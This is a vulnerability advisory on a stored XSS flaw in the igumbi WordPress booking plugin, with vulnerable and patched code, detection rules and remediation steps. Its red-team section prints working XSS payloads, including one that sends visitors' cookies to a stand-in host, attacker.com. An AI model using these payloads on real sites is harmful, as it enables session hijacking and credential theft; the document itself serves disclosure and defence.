CVE-2024-13455

Executive Summary

CVE-2024-13455 is a Stored Cross-Site Scripting (XSS) vulnerability in the igumbi Online Booking WordPress plugin, affecting all versions up to and including 1.40. The flaw resides in the igumbi_calendar shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level access can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Key Risk: The vulnerability allows persistent JavaScript execution, enabling session hijacking, credential theft, or defacement. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch increases long-term risk.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. No official patch has been released, and the vendor (Igumbi) has not provided updates. Users should consider removing the plugin or applying virtual patching via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is easy to exploit once access is obtained. The stored nature means any visitor to the affected page is at risk.

Deep Dive & Mechanics

The vulnerability exists in the igumbi_calendar shortcode handler. The plugin fails to sanitize user-supplied attributes (e.g., title, class, or custom data attributes) before rendering them in the HTML output. An attacker with contributor-level access can create or edit a post/page containing the shortcode with malicious payloads in the attributes.

Example vulnerable shortcode usage:

[igumbi_calendar title="<script>alert('XSS')</script>"]

When the page is rendered, the unsanitized attribute is injected directly into the HTML, causing the script to execute in the context of the victim's browser.

Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses echo or print without esc_attr() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (igumbi plugin, version <= 1.40):

// In shortcode handler
function igumbi_calendar_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Calendar',
        'class' => ''
    ), $atts);
    // Direct output without escaping
    echo '<div class="igumbi-calendar ' . $atts['class'] . '">';
    echo '<h3>' . $atts['title'] . '</h3>';
    // ... rest of calendar
}

Patched Code (hypothetical fix):

function igumbi_calendar_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Calendar',
        'class' => ''
    ), $atts);
    // Proper escaping
    echo '<div class="igumbi-calendar ' . esc_attr($atts['class']) . '">';
    echo '<h3>' . esc_html($atts['title']) . '</h3>';
    // ... rest of calendar
}

Key Difference: The patched version uses esc_attr() for HTML attributes and esc_html() for text content, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with igumbi plugin <= 1.40
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the shortcode with a malicious payload in the title attribute:

   [igumbi_calendar title="<img src=x onerror=alert('XSS')>"]
   

4. Publish the post.
5. Any user visiting the post will see the alert box (or execute arbitrary JavaScript).

Advanced Payload (session hijacking):

[igumbi_calendar title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the igumbi_calendar shortcode with suspicious attributes.
• Use WAF rules to block common XSS patterns in shortcode attributes.

Hardening:

• Remove or disable the igumbi plugin until a patch is available.
• Apply virtual patching via WAF (e.g., ModSecurity rule to block <script> in shortcode attributes).
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/igumbi-online-booking/igumbi.php (or similar main plugin file)
• Shortcode pattern: [igumbi_calendar title="<script>...</script>"]
• HTTP Request: POST to /wp-admin/post.php with post_content containing malicious shortcode
• Logs: WordPress audit logs showing creation/editing of posts with igumbi_calendar shortcode

Detection Engineering

YARA Rule

rule igumbi_stored_xss_cve_2024_13455 {
    meta:
        description = "Detects malicious shortcode attributes in igumbi plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-13455"
    strings:
        $shortcode = /\[igumbi_calendar\s+[^\]]*?(?:<script|<img\s+src=x\s+onerror|<svg\s+onload)/i
        $payload = /(?:onerror|onload|onclick|onmouseover)\s*=\s*["']?[^"']*?\(/i
    condition:
        $shortcode or $payload
}

Sigma Rule

title: Igumbi Stored XSS via Shortcode
id: 8a3f7c2e-1b4d-4e9a-8f6c-3d2e1a0b9c8d
status: experimental
description: Detects creation of posts with malicious igumbi_calendar shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/post.php
        http.body|contains: 'igumbi_calendar'
        http.body|re: '(<script|<img\s+src=x\s+onerror|<svg\s+onload)'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with benign attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13455 Igumbi Stored XSS Attempt"; flow:to_server; content:"igumbi_calendar"; http_client_body; pcre:"/(<script|<img\s+src=x\s+onerror|<svg\s+onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove or edit any existing posts/pages containing the igumbi_calendar shortcode with suspicious attributes.
3. Audit user roles and remove contributor access for untrusted users.

Long-term Fix:

• Apply the patched code (see Vulnerable vs. Patched Code section) if you have developer access.
• Monitor the vendor's website for an official update.

Virtual Patching (WAF):

• Block requests containing igumbi_calendar with <script or onerror patterns in the body.

Valters IT
DevSecOps & Cyber Threat Intelligence